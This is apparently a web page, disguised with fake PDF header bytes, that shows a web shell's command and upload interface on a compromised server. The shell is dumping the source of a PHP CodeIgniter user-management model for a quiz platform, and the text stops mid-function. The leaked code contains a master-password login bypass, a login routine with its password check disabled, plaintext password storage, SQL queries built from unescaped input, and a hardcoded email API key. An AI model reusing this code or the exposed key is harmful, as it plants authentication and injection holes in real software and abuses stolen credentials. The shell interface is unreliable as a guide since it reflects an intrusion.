%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /home/ubuntu/chalkbank/application/models/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ubuntu/chalkbank/application/models/Bulkupload_model.php
<?php
Class Bulkupload_model extends CI_Model
{
 Public function __construct(){
	parent::__construct();  
	$db2 = $this->load->database('readerdb', TRUE);
  }
 function login($username, $password)
 {
	$db2 = $this->load->database('readerdb', TRUE);
	$db2->select('savsoft_users.*');
	if($password!=$this->config->item('master_password')){
		$db2->where('savsoft_users.password', MD5($password));
    }
    $db2->where('savsoft_users.email', $username);
    $db2->where('savsoft_users.verify_code', '0');
    $db2->join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
    $db2->limit(1);
    $query = $db2->get('savsoft_users');

	//echo $this->db->last_query(); die;	
	
   if($query -> num_rows() == 1)
   {
     return $query->row_array();
   }
   else
   {
     return false;
   }
 }
 
 
  function auto_login($username, $password)
 {
	$db2 = $this->load->database('readerdb', TRUE);
	$db2->select('savsoft_users.*');
	if($password!=$this->config->item('master_password')){
		//$db2->where('savsoft_users.password', MD5($password));
    }
	$db2->where('savsoft_users.email', $username);
    $db2->where('savsoft_users.verify_code', '0');
    $db2->join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
    $db2->limit(1);
    $query = $db2->get('savsoft_users');
	//echo $this->db->last_query(); die('TEST');	
   if($query -> num_rows() == 1)
   {
     return $query->row_array();
   }
   else
   {
     return false;
   }
 }
 
 // Activeuser Log function start
 function active_user($gids = '', $admin_id=''){
	 $db2 = $this->load->database('readerdb', TRUE);
	 if($admin_id>0){
		$db2->where('admin_id',$admin_id);
	 }
	 $db2->where('status','ON');
	 $query = $db2->get('plus_login');
	 return $query->num_rows();
	 
 } 
 // Activeuser Log function start
 function custompage($tbl_name='microsite_pages', $admin_id = ''){
	 $db2 = $this->load->database('readerdb', TRUE);
	 $results = '';
	 if($admin_id >0){
		 $db2->where('admin_id ',$admin_id );
		 
		 $db2->where('status','1');
		 $query=$db2->get($tbl_name);
		// echo $this->db->last_query(); die;
		 $results = $query->row_array();
	 }
	 return $results;
 } 
 
 // Activeuser Log function start
 function getmicrosites($uid=''){
	 $db2 = $this->load->database('readerdb', TRUE);
	 if($uid>0){
		 $db2->where('admin_id',$uid);
		 $db2->where('status','1');
		 $query=$db2->get('su_microsite');
		 return $query->row_array();
	 }
	 
 } 
 // Activeuser Log function start
 function getGIDbyCode($group_code=''){
	 $db2 = $this->load->database('readerdb', TRUE);
	 if($group_code!=''){
		 $db2->where('group_code',$group_code);
		 $query = $db2->get('savsoft_group');
		 $results = $query->row_array();
		 return $results['gid'];
	 }
	 
 } 
 // Activeuser Log function start
 function getUserGroupNAme($group_name=''){
	 $db2 = $this->load->database('readerdb', TRUE);
	 if($group_name!=''){
		 $db2->where('group_name',$group_name);
		 $query = $db2->get('savsoft_group');
		 $results = $query->row_array();
		 return $results['gid'];
	 }
	 
 } 
 // category function start
 function category_list($uid=''){
	 $db2 = $this->load->database('readerdb', TRUE);
	 $db2->order_by('cid','desc');
	 if($uid!='') {
		 $db2->where('admin_id',$uid);
	 }
	 $query = $db2->get('savsoft_category');
	 return $query->result_array();
	 
 }
 // Setting function start
 function setting_list($uid=''){
	 $db2 = $this->load->database('readerdb', TRUE);
	 $db2->order_by('display_order','asc');
	 $db2->order_by('status','1');
	 $db2->order_by('is_deleted','0');
	 if($uid!='') {
		 $db2->where('admin_id',$uid);
	 }
	 $query = $db2->get('su_registration_setting');
	 return $query->result_array();
	 
 }
 
 // level function start
 function level_list_by_cid($uid='', $cid = ''){
	$db2 = $this->load->database('readerdb', TRUE);
	if($uid!='') {
		 $db2->where('admin_id',$uid);
	}
	if($cid!='') {
		 $db2->where('cid',$cid);
	}
	$query = $db2->get('savsoft_level');
	return $query->result_array();
	 
 }
 // level function start
 function level_list($uid='', $lid = ''){
	$db2 = $this->load->database('readerdb', TRUE);
	if($uid!='') {
		 $db2->where('admin_id',$uid);
	}
	if($lid!='') {
		 $db2->where('lid',$lid);
	}
	$query = $db2->get('savsoft_level');
	//echo $this->db->last_query(); die;
	return $query->result_array();
	 
 }
 
 
 
 function update_category($cid){
	 
		$userdata=array(
		'category_name'=>$this->input->post('category_name'),
		 	
		);
	 
		 $this->db->where('cid',$cid);
		if($this->db->update('savsoft_category',$userdata)){
			
			return true;
		}else{
			
			return false;
		}
	 
 }
 function num_users($gid=''){
	$db2 = $this->load->database('readerdb', TRUE);
	$db2->select('max(savsoft_users.uid),group_name');
	if(!empty($gid)){
		$db2->where_in('savsoft_group.gid', $gid); 
	}
	$db2->where('savsoft_users.status','1');
	$db2->where('savsoft_users.is_deleted','0');
	$db2->group_by('savsoft_users.uid');
	$db2->join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
	$query=$db2->get('savsoft_users');
	return $query->num_rows();
 }
 
 function admin_dashboard(){
	 $db2 = $this->load->database('readerdb', TRUE);
	 $sql="select distinct sr.quid, count(distinct uid) as total,quiz_name, result_status from savsoft_result sr join savsoft_quiz sq ON sr.quid=sq.quid group by result_status, sr.quid ";
	 $query = $db2->query($sql);
	 return $query->result_array();
 }
 
 /*
 * Function : user_list
 *
 */
 
 function user_list($limit, $gid=''){
		$db2 = $this->load->database('readerdb', TRUE);
		$db2->select('savsoft_users.*,group_name');
		if($this->input->post('search')){
			 $search=$this->input->post('search');
			 $db2->or_like('savsoft_users.email',$search);
			 $db2->or_like('savsoft_users.user_email',$search);
			 $db2->or_like('savsoft_users.first_name',$search);
			 $db2->or_like('savsoft_users.last_name',$search);
			 $db2->or_like('savsoft_users.contact_no',$search);
			 $db2->or_like('savsoft_users.school_name',$search);
			 $db2->or_like('savsoft_users.system_id',$search);
		 }
		
		 if(!empty($gid)){
			$db2->where_in('savsoft_group.gid', $gid); 
		 } 
		if($limit!=''){
			$db2->limit($this->config->item('number_of_rows'),$limit);
		}
		$db2->where('savsoft_users.status','1');
		$db2->where('savsoft_users.is_deleted','0');
		$db2->order_by('savsoft_users.uid','desc');
		$db2->join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
		$query = $db2->get('savsoft_users');
		//echo $this->db->last_query(); die('TEST');
		return $query->result_array();
 } 
 
 function assigned_user_list($limit,$gid='0',$uid='',$su='0'){
		$db2 = $this->load->database('readerdb', TRUE);
		$db2->select('savsoft_users.*,group_name');
		 if($this->input->post('search')){
			 $search=$this->input->post('search');
			 $db2->or_where('savsoft_users.email',$search);
			 $db2->or_where('savsoft_users.user_email',$search);
			 $db2->or_where('savsoft_users.first_name',$search);
			 $db2->or_where('savsoft_users.last_name',$search);
			 $db2->or_where('savsoft_users.contact_no',$search);
			 $db2->or_where('savsoft_users.address',$search);
			 $db2->or_where('savsoft_users.school_name',$search);
			 $db2->or_where('savsoft_users.class_level',$search);

		 }
		 if($gid!='0'){
			  $db2->where('savsoft_group.gid',$gid);
		 }
		
		 if($uid!=''){
			  $db2->where('savsoft_quiz_registration.admin_id',$uid);
		 } 
		 if($su!='0'){
			  $db2->where('savsoft_users.su',$su);
		 }
	 
		$db2->limit($this->config->item('number_of_rows'),$limit);
		$db2->order_by('savsoft_users.uid','desc');
		$db2->join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
		$db2->join('savsoft_quiz_registration', 'savsoft_users.uid=savsoft_quiz_registration.uid');
		$query=$db2->get('savsoft_users');
		//echo $this->db->last_query(); die;
		return $query->result_array();
 }

 
  function userdetails($cond, $limit=1){
	    $db2 = $this->load->database('readerdb', TRUE);
		if(!empty($cond)){
			 foreach($cond as $key=>$val) {
				$db2->or_where('savsoft_users.'.$key,$val); 
			 }
		}
		$db2->limit($this->config->item('number_of_rows'),$limit);
		$db2->order_by('savsoft_users.uid','desc');
		$db2->join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
		$query=$db2->get('savsoft_users');
		//echo $this->db->last_query(); die;
		return $query->result_row();
 } 
 
  function active_user_list($cond){
	    $db2 = $this->load->database('readerdb', TRUE);
		if(!empty($cond)){
			 foreach($cond as $key=>$val) {
				$db2->where('plus_login.'.$key,$val); 
			 }
		}
		$db2->order_by('plus_login.tm','desc');
		$db2->join('savsoft_users', 'plus_login.userid=savsoft_users.email');
		$query=$db2->get('plus_login');
		//echo $this->db->last_query(); die;
		return $query->result_array();
 }
 
 
function group_list($uid = '', $gid = ''){
	$db2 = $this->load->database('readerdb', TRUE);
	if(!empty($uid)){
		$db2->where('admin_id',$uid); 
	}
	if(!empty($gid)){
		$db2->where_in('gid',$gid); 
	}
	$db2->where_in('status','1'); 
	$db2->order_by('gid','desc');
	$query=$db2->get('savsoft_group');
	//echo $this->db->last_query(); die;
	return $query->result_array();
} 
 function verify_code($vcode){
	 $this->db->where('verify_code',$vcode);
	$query=$this->db->get('savsoft_users');
		if($query->num_rows()=='1'){
			$user=$query->row_array();
			$uid=$user['uid'];
			$userdata=array(
			'verify_code'=>'0'
			);
			$this->db->where('uid',$uid);
			$this->db->update('savsoft_users',$userdata);
			return true;
		}else{
			
			return false;
		}
		 
	 
 }
 
  function userToken($username){
	 $db2 = $this->load->database('readerdb', TRUE);
	 $db2->where('username',$username);
	 $query=$db2->get('user_token');
	 $rowCount = $query->num_rows();
	 return $rowCount;
 }
 
 
 
 
 function insert_user(){
	 
		$userdata=array(
		'email'=>$this->input->post('email'),
		'user_email'=>$this->input->post('user_email'),
		'password'=>md5($this->input->post('password')),
		'user_key'=>$this->input->post('password'),
		'first_name'=>$this->input->post('first_name'),
		'last_name'=>$this->input->post('last_name'),
		'createdon'=>date("Y-m-d H:i:s"),
		'school_name'=>$this->input->post('school_name'),
		//'subject'=>$this->input->post('subject'),
		'address'=>$this->input->post('address'),
		'system_id'=>$this->input->post('system_id'),
		//'class_level'=>$this->input->post('class_level'),
		'contact_no'=>$this->input->post('contact_no'),
		'gid'=>$this->input->post('gid'),
		'role_id'=>$this->input->post('role_id'),
		'admin_id'=>$this->input->post('admin_id'),
		'subscription_expired'=>strtotime($this->input->post('subscription_expired')),
		'su'=>$this->input->post('su')		
		);
		
		if($this->db->insert('savsoft_users',$userdata)){
			
			return true;
		}else{
			
			return false;
		}
	 
 }
 
  function insert_user_2(){
	 
		$userdata=array( 
		'email'=>$this->input->post('email'),
		'user_email'=>$this->input->post('email'),
		'password'=>md5($this->input->post('password')),
		'user_key'=>$this->input->post('password'),
		'first_name'=>$this->input->post('first_name'),
		//'last_name'=>$this->input->post('last_name'),
		'contact_no'=>$this->input->post('contact_no'),
		'system_id'=>$this->input->post('system_id'),
		'roll_number'=>$this->input->post('roll_number'),
		'alternate_email '=>$this->input->post('alternate_email'),
		'gid'=>$this->input->post('gid'),
		'admin_id'=>$this->input->post('admin_id'),
		'role_id'=>$this->input->post('role_id'),
		'createdon'=>date('Y-m-d H:i:s'),
		'page_key'=>$this->input->post('page_key'),
		'su'=>'0'		
		);
		$veri_code=rand('1111','9999');
		if($this->config->item('verify_email')){
			$userdata['verify_code']=$veri_code;
		}
		if($this->input->post('ip_address')){
			$userdata['ip_address']=$this->input->post('ip_address');
		}
      
		$resp = $this->db->insert('savsoft_users',$userdata);
		if($this->config->item('verify_email')){
			// send verification link in email
		 	$verilink=site_url('login/verify/'.$veri_code.'?key='.$this->input->post('page_key'));
			/*$this->load->library('email');

		    if($this->config->item('protocol')=="smtp"){
				$config['protocol'] = 'smtp';
				$config['smtp_host'] = $this->config->item('smtp_hostname');
				$config['smtp_user'] = $this->config->item('smtp_username');
				$config['smtp_pass'] = $this->config->item('smtp_password');
				$config['smtp_port'] = $this->config->item('smtp_port');
				$config['smtp_timeout'] = $this->config->item('smtp_timeout');
				$config['mailtype'] = $this->config->item('smtp_mailtype');
				$config['starttls']  = $this->config->item('starttls');
				$config['newline']  = $this->config->item('newline');
				$this->email->initialize($config);
		    }
			*/
			$fromemail=$this->config->item('fromemail');
			$fromname=$this->config->item('fromname');
			$subject=$this->config->item('activation_subject');
			$message=$this->config->item('activation_message');;
			
			$message=str_replace('[verilink]',$verilink,$message);
		
			$toemail=$this->input->post('email');
			$emailResp = $this->send_email_pepipost($toemail, $subject, $message);
			/*$this->email->to($toemail);
			$this->email->from($fromemail, $fromname);
			$this->email->subject($subject);
			$this->email->message($message);*/
			if(!$emailResp){
			 //print_r($this->email->print_debugger());
			//exit;
			}
			return true;
		 }
		else {
			return false;
		} 
 }
 
function reset_password($toemail){
		$this->db->where("email",$toemail);
		$queryr=$this->db->get('savsoft_users');
		$rowCount = $queryr->num_rows();
		if($rowCount>0){
			$new_password=$this->randompassword('8');
			$fromemail=$this->config->item('fromemail');
			$fromname=$this->config->item('fromname');
			$subject=$this->config->item('password_subject');
			$message=$this->config->item('passsword_message');;
			$message=str_replace('[new_password]',$new_password,$message);
			$emailResp = $this->send_email_pepipost($toemail, $subject, $message);
			$user_detail=array(
			'password'=>md5($new_password),
			'user_key'=>$new_password,
			'modifiedon'=>date('Y-m-d H:i:s')
			);
			$this->db->where('email', $toemail);
			$this->db->update('savsoft_users',$user_detail);
			return true;
		} else {
			return false;
		}
}

 function update_user($uid){
	 $logged_in=$this->session->userdata('logged_in');
	 $userdata=array(
		'first_name'=>$this->input->post('first_name'),
		'last_name'=>$this->input->post('last_name'),
		'subject'=>$this->input->post('subject'),
		'class_level'=>$this->input->post('class_level'),
		'address'=>$this->input->post('address'),
		'user_email'=>$this->input->post('user_email'),
		'system_id'=>$this->input->post('system_id'),
		'roll_number'=>$this->input->post('roll_number'),
		'alternate_email'=>$this->input->post('alternate_email'),
		'school_name'=>$this->input->post('school_name'),
		'verify_code'=>$this->input->post('verify_code'),
		'cid'=>$this->input->post('cid'),
		'lid'=>$this->input->post('lid'),
		'contact_no'=>$this->input->post('contact_no')	
		);
		if($logged_in['su']>='2'){
		if($this->input->post('status')!=''){
			$userdata['status'] = $this->input->post('status');
		}
		}
		if($this->input->post('role_id')!=''){
			$userdata['role_id'] = $this->input->post('role_id');
		}
		if($this->input->post('profie_image')!=''){
			$userdata['profie_image'] = $this->input->post('profie_image');
		}
		if($logged_in['su']>='1'){
			$userdata['email']=$this->input->post('email');
			$userdata['gid']=implode(',',$this->input->post('gids'));
			$userdata['catids']=implode(',',$this->input->post('catids'));
			if($this->input->post('subscription_expired') !='0'){
				$userdata['subscription_expired'] = strtotime($this->input->post('subscription_expired'));
			} else {
				$userdata['subscription_expired']='0';	
			}
			
			$userdata['su']=$this->input->post('su');
		}
			
		if($this->input->post('password')!=""){
			$userdata['password']=md5($this->input->post('password'));
			$userdata['user_key']=$this->input->post('password');
		}
		$this->db->where('uid',$uid);
		
		if($this->db->update('savsoft_users',$userdata)){
			//echo $this->db->last_query(); die;
			return true;
		}else{
			
			return false;
		}
}

function update_myprofile($uid){
 $logged_in=$this->session->userdata('logged_in');
 $userdata=array(
	'first_name'=>$this->input->post('first_name'),
	'last_name'=>$this->input->post('last_name'),
	'address'=>$this->input->post('address'),
	'user_email'=>$this->input->post('user_email'),
	'school_name'=>$this->input->post('school_name'),
	'contact_no'=>$this->input->post('contact_no')
	);
	if($this->input->post('profie_image')!=''){
			$userdata['profie_image'] = $this->input->post('profie_image');
	}
	if($this->input->post('password')!=""){
		$userdata['password']=md5($this->input->post('password'));
		$userdata['user_key']=$this->input->post('password');
	}
	$this->db->where('uid',$uid);
	
	if($this->db->update('savsoft_users',$userdata)){
		return true;
	}else{
		return false;
	}
 
 } 
/*
* Function :  send_email_pepipost
* Description : Send Email
*/
function send_email_pepipost($to_emails, $subject, $message, $fromname='', $fromemail='', $replyto=''){
		$fromname=$fromname?$fromname:'Quizbyte';
		$fromemail=$fromemail?$fromemail:'quizbyte@shardauniversity.com'; //Change This Email ID;
		$replyto=$replyto?$replyto:'noreply@sharda.ac.in'; //Change the Email ID;
	
		if(!$to_emails){
			return;
		}
		if(is_string($to_emails)){
			$to_emails=explode(",", $to_emails);
		}
		foreach($to_emails as $to){
			$d=array (
				'personalizations' => array (0 => array ('recipient' => $to)),
				'from' => array ('fromEmail' => $fromemail, 'fromName' => $fromname),
				'replyToId'=>$replyto,
				'subject' => $subject,
				'content' => $message,
			);
			$email_jason_data=json_encode($d);
	
			$curl = curl_init();
	
			curl_setopt_array($curl, array(
			CURLOPT_URL => "https://api.pepipost.com/v2/sendEmail",
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_ENCODING => "",
			CURLOPT_MAXREDIRS => 10,
			CURLOPT_TIMEOUT => 30,
			CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
			CURLOPT_CUSTOMREQUEST => "POST",
			CURLOPT_POSTFIELDS => $email_jason_data,
			CURLOPT_HTTPHEADER => array(
				"api_key: c77184012dcf9bd5cd1886b4e0a2bb89",
			//	"api_key: aab3f77715e90569034f0c6e5d912714",
				"content-type: application/json"
			),
			));
	
			$response = curl_exec($curl);
			$err = curl_error($curl);
	
			curl_close($curl);
	
			if ($err) {
				echo "cURL Error #:" . $err;
			}
			//  else {
			// 	echo $response;
			// }
		//	die;
	}

//EOF

//EOF
}
 function update_group($gid){ 
	 
		$userdata=array();
		if($this->input->post('group_name')){
		$userdata['group_name']=$this->input->post('group_name');
		}
		if($this->input->post('group_code')){
			$userdata['group_code']=$this->input->post('group_code');
		}
		if($this->input->post('price')){
		$userdata['price']=$this->input->post('price');
		}
		if($this->input->post('valid_day')){
		$userdata['valid_for_days']=$this->input->post('valid_day');
		}
		 $this->db->where('gid',$gid);
		if($this->db->update('savsoft_group',$userdata)){
			
			return true;
		}else{
			
			return false;
		}
	 
 }
 
 
 function remove_user($uid){
	 
	 $this->db->where('uid',$uid);
	 if($this->db->delete('savsoft_users')){
		 return true;
	 }else{
		 
		 return false;
	 }
	 
	 
 }
 
 
 function remove_group($gid){
	 
	 $this->db->where('gid',$gid);
	 if($this->db->delete('savsoft_group')){
		 return true;
	 }else{
		 
		 return false;
	 }
	 
	 
 }
 
 
 
 function get_user($uid){
	$db2 = $this->load->database('readerdb', TRUE); 
	$db2->where('savsoft_users.uid',$uid);
	$db2->join('savsoft_group', 'savsoft_users.gid=savsoft_group.gid');
	$query=$db2->get('savsoft_users');
	return $query->row_array();
} 

function get_user_details($uid){
	$db2 = $this->load->database('readerdb', TRUE);  
	$db2->where('savsoft_users.uid',$uid);
	$query=$db2->get('savsoft_users');
	return $query->row_array();
}
 
 
function get_member_details($email){
	$db2 = $this->load->database('readerdb', TRUE);  
	$db2->where('savsoft_users.email',$email);
	$db2->where('savsoft_users.status','1');
	$db2->where('savsoft_users.verify_code','0');
	$query=$db2->get('savsoft_users');
	return $query->row_array();
}
 
 
 
 function insert_group(){
	 
	 	$userdata=array(
		'group_name'=>$this->input->post('group_name'),
		'group_code'=>$this->input->post('group_code'),
		'valid_for_days'=>$this->input->post('valid_for_days'),
		'admin_id'=>$this->input->post('admin_id'),
		);
		
		if($this->db->insert('savsoft_group',$userdata)){
			
			return true;
		}else{
			
			return false;
		}
	 
 }
 
 
 function get_expiry($gid){
	$db2 = $this->load->database('readerdb', TRUE); 
	$db2->where('gid',$gid);
	$query=$db2->get('savsoft_group');
	 $gr=$query->row_array();
	 if($gr['valid_for_days']!='0'){
	$nod=$gr['valid_for_days'];
	 return date('Y-m-d',(time()+($nod*24*60*60)));
	 }else{
		 return date('Y-m-d',(time()+(10*365*24*60*60))); 
	 }
 }
 
 // level function end
function import_user($question, $logged_in){
	//echo "<pre>"; print_r($users);exit('Users');
	$counter = 0;
	foreach($question as $key => $singlequestion){
	
		if($key != 0 && $singlequestion['0']!='')
		{
			
		echo "<pre>";print_r($singlequestion);
		$first_name= $singlequestion['0'];
		$first_name= str_replace("`",'&#39;',$first_name);
		$first_name= str_replace("'",'',$first_name);
		$first_name= str_replace("‘",'&#39;',$first_name);
		$first_name= str_replace("’",'&#39;',$first_name);
		$first_name= str_replace("“",'&#34;',$first_name);
		$first_name= str_replace("‘",'&#39;',$first_name);
		$first_name= str_replace("’",'&#39;',$first_name);
		$first_name= str_replace("”",'&#34;',$first_name);
		$first_name= str_replace("'","&#39;",$first_name);
		$first_name= str_replace("\n","<br>",$first_name);
		$contact_no = $singlequestion['1'];
		$gid = $this->getUserGroupNAme($singlequestion['2']);
		$email = $singlequestion['3'];
		$password  = $singlequestion['4'];
		$user_email  = $singlequestion['5'];
		$SUEDGEID  = $singlequestion['6'];
		$subject_department  = $singlequestion['8'];
		$school_name  = $singlequestion['7'];
		$sem_class_level = $singlequestion['9'];
		$admin_id = $logged_in['uid'];
		$subscription_expired = strtotime(date("Y-m-d", mktime()) . " + 365 day");
		
		$insert_data = array(
		'first_name' => ucwords(strtolower($first_name)),
		'contact_no' => $contact_no,
		'gid' => $gid,
		'admin_id' => $admin_id,
		'role_id' => '18,8,5,4',
		'subscription_expired' => $subscription_expired,
		'password' => md5($password),
		'createdon' => date('Y-m-d H:i:s'),
		'custom_one' => $SUEDGEID,
		'school_name' => $school_name,
		'subject' => $subject_department,
		'class_level' => $sem_class_level,
		'user_email' =>$user_email,
		'user_key' => $password,
		'email' => $email
		);
			
		$users=$this->db->query("select * from savsoft_users where email='$email' AND gid = '$gid'"); 
		$usersRow=$users->row_array(); 
			if(empty($usersRow['email'])) {
				if($this->db->insert('savsoft_users',$insert_data)){
					$qid=$this->db->insert_id();
					$counter++;
				} 
			}
		}
			
		}
		return $counter;
	}
	 
	 // level function end
	function assign_user($question, $logged_in){
	 //   echo "<pre>"; print_r($users);exit;
	  $counter = 0;
	  foreach($question as $key => $singlequestion){
	
		if($key != 0 && $singlequestion['0']!='')
		{
			
		echo "<pre>";print_r($singlequestion); //die;
		$first_name= $singlequestion['0'];
		$first_name= str_replace("`",'&#39;',$first_name);
		$first_name= str_replace("'",'',$first_name);
		$first_name= str_replace("‘",'&#39;',$first_name);
		$first_name= str_replace("’",'&#39;',$first_name);
		$first_name= str_replace("“",'&#34;',$first_name);
		$first_name= str_replace("‘",'&#39;',$first_name);
		$first_name= str_replace("’",'&#39;',$first_name);
		$first_name= str_replace("”",'&#34;',$first_name);
		$first_name= str_replace("'","&#39;",$first_name);
		$first_name= str_replace("\n","<br>",$first_name);
		$contact_no = $singlequestion['1'];
		$gid = $this->getUserGroupNAme($singlequestion['2']);
		$email = $singlequestion['3'];
		$password  = $singlequestion['4'];
		$user_email  = $singlequestion['5'];
		$SUEDGEID  = $singlequestion['6'];
		$roll_number  = $singlequestion['7'];
		$program_description  = $singlequestion['8'];
		$plan_description  = $singlequestion['9'];
		$subject_department  = $singlequestion['10'];
		$section  = $singlequestion['11'];
		$admin_id = $logged_in['uid'];
		$subscription_expired = strtotime(date("Y-m-d", mktime()) . " + 365 day");
		
		$insert_data = array(
		'first_name' => ucwords(strtolower($first_name)),
		'contact_no' => $contact_no,
		'gid' => $gid,
		'admin_id' => $admin_id,
		'role_id' => '18,8,5,4',
		'subscription_expired' => $subscription_expired,
		'password' => md5($password),
		'createdon' => date('Y-m-d H:i:s'),
		'program_description' => $program_description,
		'plan_description' => $plan_description,
		'system_id' => $SUEDGEID,
		'roll_number' => $roll_number,
		'subject' => $subject_department,
		'class_level' => $section,
		'user_email' =>$user_email,
		'user_key' => $password,
		'email' => $email
		);
		//print_r($insert_data); die;	
		$users=$this->db->query("select uid,email,status from savsoft_users where email='$email' AND status = '1'"); 
		$usersRow=$users->row_array(); 
			if(empty($usersRow['email'])) {
				//echo 'Bloack1'; die;
				if($this->db->insert('savsoft_users',$insert_data)){
					$qid=$this->db->insert_id();
					$counter++;
				} 
			} else {
				$userdata=array();
				$userdata['gid']=$gid;
				$userdata['program_description']= $program_description;
				$userdata['plan_description']= $plan_description;
				$userdata['system_id']= $SUEDGEID;
				$userdata['roll_number']= $roll_number;
				$userdata['subject']= $subject_department;
				$userdata['class_level']= $section;
				$userdata['user_email']= $user_email;
				$userdata['modifiedon']=date('Y-m-d H:i:s');
				//print_r($userdata); die;
				if($usersRow['uid']>0) {
					$this->db->where('uid',$usersRow['uid']);
					$this->db->update('savsoft_users',$userdata);
				}
			}
		}
			
		}
		return $counter;
	}
	
// level function end
function import_user_oldn($question){
	//echo "<pre>"; print_r($users);exit;
	$counter = 0;
	foreach($question as $key => $singlequestion){
	
		if($key != 0 && $singlequestion['0']!='')
		{
			
		echo "<pre>";print_r($singlequestion);
		$first_name= $singlequestion['2'];
		$first_name= str_replace("`",'&#39;',$first_name);
		$first_name= str_replace("'",'',$first_name);
		$first_name= str_replace("‘",'&#39;',$first_name);
		$first_name= str_replace("’",'&#39;',$first_name);
		$first_name= str_replace("“",'&#34;',$first_name);
		$first_name= str_replace("‘",'&#39;',$first_name);
		$first_name= str_replace("’",'&#39;',$first_name);
		$first_name= str_replace("”",'&#34;',$first_name);
		$first_name= str_replace("'","&#39;",$first_name);
		$first_name= str_replace("\n","<br>",$first_name);
		
		$last_name= str_replace('"','&#34;',$singlequestion['3']);
		$last_name= str_replace("`",'&#39;',$last_name);
		$last_name= str_replace("‘",'&#39;',$last_name);
		$last_name= str_replace("’",'&#39;',$last_name);
		$last_name= str_replace("“",'&#34;',$last_name);
		$last_name= str_replace("‘",'&#39;',$last_name);
		$last_name= str_replace("’",'&#39;',$last_name);
		$last_name= str_replace("”",'&#34;',$last_name);
		$last_name= str_replace("'","&#39;",$last_name);
		$last_name= str_replace("\n","<br>",$last_name);
		$user_email = $singlequestion['4'];
		$address = str_replace('"','&#34;',$singlequestion['5']);
		$address= str_replace("`",'&#39;',$address);
		$address= str_replace("‘",'&#39;',$address);
		$address= str_replace("’",'&#39;',$address);
		$address= str_replace("“",'&#34;',$address);
		$address= str_replace("‘",'&#39;',$address);
		$address= str_replace("’",'&#39;',$address);
		$address= str_replace("”",'&#34;',$address);
		$address= str_replace("'","&#39;",$address);
		$address= str_replace("\n","<br>",$address);
		$school_name = str_replace('"','&#34;',$singlequestion['6']);
		$school_name= str_replace("`",'&#39;',$school_name);
		$school_name= str_replace("‘",'&#39;',$school_name);
		$school_name= str_replace("’",'&#39;',$school_name);
		$school_name= str_replace("“",'&#34;',$school_name);
		$school_name= str_replace("‘",'&#39;',$school_name);
		$school_name= str_replace("’",'&#39;',$school_name);
		$school_name= str_replace("”",'&#34;',$school_name);
		$school_name= str_replace("'","&#39;",$school_name);
		$school_name= str_replace("\n","<br>",$school_name);
		
		$contact_no = $singlequestion['7'];
		$subject = str_replace('"','&#34;',$singlequestion['8']);
		$subject= str_replace("`",'&#39;',$subject);
		$subject= str_replace("‘",'&#39;',$subject);
		$subject= str_replace("’",'&#39;',$subject);
		$subject= str_replace("“",'&#34;',$subject);
		$subject= str_replace("‘",'&#39;',$subject);
		$subject= str_replace("’",'&#39;',$subject);
		$subject= str_replace("”",'&#34;',$subject);
		$subject= str_replace("'","&#39;",$subject);
		$subject= str_replace("\n","<br>",$subject);
		
		$class_level = $singlequestion['9'];
		$gid = $this->getUserGroupNAme($singlequestion['10']);
		$admin_id = $singlequestion['11'];
		$subscription_expired = strtotime(date("Y-m-d", mktime()) . " + 365 day");
		$password  = $singlequestion['1'];
		$email = $singlequestion['0'];
		
		$email = str_replace('"','&#34;',$singlequestion['0']);
		$email= str_replace("`",'&#39;',$email);
		$email= str_replace("‘",'&#39;',$email);
		$email= str_replace("’",'&#39;',$email);
		$email= str_replace("“",'&#34;',$email);
		$email= str_replace("‘",'&#39;',$email);
		$email= str_replace("’",'&#39;',$email);
		$email= str_replace("”",'&#34;',$email);
		$email= str_replace("'","&#39;",$email);
		$email= str_replace("\n","<br>",$email);
		
		$insert_data = array(
		'first_name' => $first_name,
		'last_name' => $last_name,
		'user_email' =>$user_email,
		'school_name' => $school_name,
		'address' => $address,
		'contact_no' => $contact_no,
		'subject' => $subject,
		'class_level' => $class_level,
		'gid' => $gid,
		'admin_id' => $admin_id,
		'subscription_expired' => $subscription_expired,
		'password' => md5($password),
		'user_key' => $password,
		'email' => $email
		);
		
		$users=$this->db->query("select * from savsoft_users where email='$email' AND class_level = '$class_level'"); 
		$usersRow=$users->row_array(); 
			if(empty($usersRow['email'])) {
				if($this->db->insert('savsoft_users',$insert_data)){
					$qid=$this->db->insert_id();
					$counter++;
				} 
			}
		}
			
		}
		return $counter;
	}
	
	function randomuser($len = 8)
	{
	   $user = '';
	   $lchar = 0;
	   $char = 0;
	   for($i = 0; $i < $len; $i++)
	   {
		   while($char == $lchar)
		   {
			   $char = rand(48, 109);
			   if($char > 57) $char += 7;
			   if($char > 90) $char += 6;
		   }
		   $user .= chr($char);
		   $lchar = $char;
	   }
	   return array_rand(range(1,50), $len);
	}


	function randompassword_old($len = 6) {
		$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
		return $password = substr( str_shuffle( $chars ), 0, $len );
	}
	
	/*
	* Function update_token
	*/
	function randomPassword($len = 6) {
		$alphabet = "abcdefghijklmnopqrstuwxyzABCDEFGHIJKLMNOPQRSTUWXYZ0123456789";
		$pass = array(); //remember to declare $pass as an array
